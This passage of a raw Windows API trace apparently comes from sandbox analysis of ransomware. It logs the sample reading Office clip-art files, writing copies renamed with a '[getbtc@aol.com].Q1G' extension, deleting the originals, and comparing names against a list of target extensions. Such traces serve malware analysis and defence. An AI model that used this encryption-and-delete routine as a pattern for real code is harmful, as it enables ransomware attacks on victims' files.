hTemplateFile=0x0) returned 0x3a0 [0253.325] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=12748) returned 1 [0253.328] CloseHandle (hObject=0x3a0) returned 1 [0253.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 0x20 [0253.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.357] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.357] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.358] GetLastError () returned 0x0 [0253.358] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x31cc, lpOverlapped=0x0) returned 1 [0253.383] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x31d0, lpOverlapped=0x0) returned 1 [0253.384] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.385] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.385] SetEndOfFile (hFile=0x3b8) returned 1 [0253.385] CloseHandle (hObject=0x3b8) returned 1 [0253.385] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.385] SetEndOfFile (hFile=0x3a0) returned 1 [0253.387] CloseHandle (hObject=0x3a0) returned 1 [0253.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0253.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.403] lstrlenW (lpString=".doc") returned 4 [0253.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.403] lstrlenW (lpString=".docx") returned 5 [0253.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.403] lstrlenW (lpString=".pdf") returned 4 [0253.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.404] lstrlenW (lpString=".xls") returned 4 [0253.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.404] lstrlenW (lpString=".xlsx") returned 5 [0253.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.404] lstrlenW (lpString=".ppt") returned 4 [0253.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.404] lstrlenW (lpString=".zip") returned 4 [0253.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.404] lstrlenW (lpString=".rar") returned 4 [0253.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.404] lstrlenW (lpString=".bz2") returned 4 [0253.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.404] lstrlenW (lpString=".7z") returned 3 [0253.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.404] lstrlenW (lpString=".dbf") returned 4 [0253.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.404] lstrlenW (lpString=".1cd") returned 4 [0253.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.404] lstrlenW (lpString=".jpg") returned 4 [0253.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.404] lstrlenW (lpString=".doc") returned 4 [0253.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.404] lstrlenW (lpString=".docx") returned 5 [0253.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.404] lstrlenW (lpString=".pdf") returned 4 [0253.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.404] lstrlenW (lpString=".xls") returned 4 [0253.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.404] lstrlenW (lpString=".xlsx") returned 5 [0253.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.405] lstrlenW (lpString=".ppt") returned 4 [0253.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.405] lstrlenW (lpString=".zip") returned 4 [0253.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.405] lstrlenW (lpString=".rar") returned 4 [0253.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.405] lstrlenW (lpString=".bz2") returned 4 [0253.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.405] lstrlenW (lpString=".7z") returned 3 [0253.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.405] lstrlenW (lpString=".dbf") returned 4 [0253.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.405] lstrlenW (lpString=".1cd") returned 4 [0253.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0253.405] lstrlenW (lpString=".jpg") returned 4 [0253.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.405] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.405] lstrlenW (lpString="J0086428.WMF") returned 12 [0253.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.420] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=35346) returned 1 [0253.420] CloseHandle (hObject=0x1bc) returned 1 [0253.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 0x20 [0253.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.443] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.443] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.444] GetLastError () returned 0x0 [0253.444] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x8a12, lpOverlapped=0x0) returned 1 [0253.490] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x8a20, lpOverlapped=0x0) returned 1 [0253.491] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.492] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.492] SetEndOfFile (hFile=0x1fc) returned 1 [0253.492] CloseHandle (hObject=0x1fc) returned 1 [0253.492] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.492] SetEndOfFile (hFile=0x200) returned 1 [0253.494] CloseHandle (hObject=0x200) returned 1 [0253.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0253.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.541] lstrlenW (lpString=".doc") returned 4 [0253.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.545] lstrlenW (lpString=".docx") returned 5 [0253.550] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0253.550] lstrlenW (lpString=".pdf") returned 4 [0253.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.550] lstrlenW (lpString=".xls") returned 4 [0253.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.550] lstrlenW (lpString=".xlsx") returned 5 [0253.550] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0253.550] lstrlenW (lpString=".ppt") returned 4 [0253.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.550] lstrlenW (lpString=".zip") returned 4 [0253.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.550] lstrlenW (lpString=".rar") returned 4 [0253.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.550] lstrlenW (lpString=".bz2") returned 4 [0253.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.550] lstrlenW (lpString=".7z") returned 3 [0253.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.550] lstrlenW (lpString=".dbf") returned 4 [0253.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.550] lstrlenW (lpString=".1cd") returned 4 [0253.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.550] lstrlenW (lpString=".jpg") returned 4 [0253.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.551] lstrlenW (lpString=".doc") returned 4 [0253.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.551] lstrlenW (lpString=".docx") returned 5 [0253.551] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0253.551] lstrlenW (lpString=".pdf") returned 4 [0253.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.551] lstrlenW (lpString=".xls") returned 4 [0253.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.551] lstrlenW (lpString=".xlsx") returned 5 [0253.551] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0253.551] lstrlenW (lpString=".ppt") returned 4 [0253.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.551] lstrlenW (lpString=".zip") returned 4 [0253.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.551] lstrlenW (lpString=".rar") returned 4 [0253.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.551] lstrlenW (lpString=".bz2") returned 4 [0253.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.551] lstrlenW (lpString=".7z") returned 3 [0253.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.551] lstrlenW (lpString=".dbf") returned 4 [0253.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.551] lstrlenW (lpString=".1cd") returned 4 [0253.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0253.551] lstrlenW (lpString=".jpg") returned 4 [0253.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.552] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.552] lstrlenW (lpString="J0090027.WMF") returned 12 [0253.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.552] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=21268) returned 1 [0253.552] CloseHandle (hObject=0x200) returned 1 [0253.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 0x20 [0253.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.553] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.553] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0253.553] GetLastError () returned 0x0 [0253.553] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x5314, lpOverlapped=0x0) returned 1 [0253.596] WriteFile (in: hFile=0x398, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x5320, lpOverlapped=0x0) returned 1 [0253.597] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.598] WriteFile (in: hFile=0x398, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.598] SetEndOfFile (hFile=0x398) returned 1 [0253.598] CloseHandle (hObject=0x398) returned 1 [0253.598] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.598] SetEndOfFile (hFile=0x200) returned 1 [0253.600] CloseHandle (hObject=0x200) returned 1 [0253.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0253.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.834] lstrlenW (lpString=".doc") returned 4 [0253.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.834] lstrlenW (lpString=".docx") returned 5 [0253.834] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0253.834] lstrlenW (lpString=".pdf") returned 4 [0253.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.834] lstrlenW (lpString=".xls") returned 4 [0253.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.834] lstrlenW (lpString=".xlsx") returned 5 [0253.834] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0253.834] lstrlenW (lpString=".ppt") returned 4 [0253.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.834] lstrlenW (lpString=".zip") returned 4 [0253.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.834] lstrlenW (lpString=".rar") returned 4 [0253.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.834] lstrlenW (lpString=".bz2") returned 4 [0253.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.834] lstrlenW (lpString=".7z") returned 3 [0253.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.835] lstrlenW (lpString=".dbf") returned 4 [0253.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.835] lstrlenW (lpString=".1cd") returned 4 [0253.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.835] lstrlenW (lpString=".jpg") returned 4 [0253.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.835] lstrlenW (lpString=".doc") returned 4 [0253.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.835] lstrlenW (lpString=".docx") returned 5 [0253.835] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0253.835] lstrlenW (lpString=".pdf") returned 4 [0253.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.835] lstrlenW (lpString=".xls") returned 4 [0253.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.835] lstrlenW (lpString=".xlsx") returned 5 [0253.835] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0253.835] lstrlenW (lpString=".ppt") returned 4 [0253.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.835] lstrlenW (lpString=".zip") returned 4 [0253.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.835] lstrlenW (lpString=".rar") returned 4 [0253.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.835] lstrlenW (lpString=".bz2") returned 4 [0253.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.835] lstrlenW (lpString=".7z") returned 3 [0253.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.835] lstrlenW (lpString=".dbf") returned 4 [0253.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.836] lstrlenW (lpString=".1cd") returned 4 [0253.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0253.836] lstrlenW (lpString=".jpg") returned 4 [0253.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.836] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0253.836] lstrlenW (lpString="J0099145.JPG") returned 12 [0253.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.836] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=24759) returned 1 [0253.836] CloseHandle (hObject=0x200) returned 1 [0253.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 0x20 [0253.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft 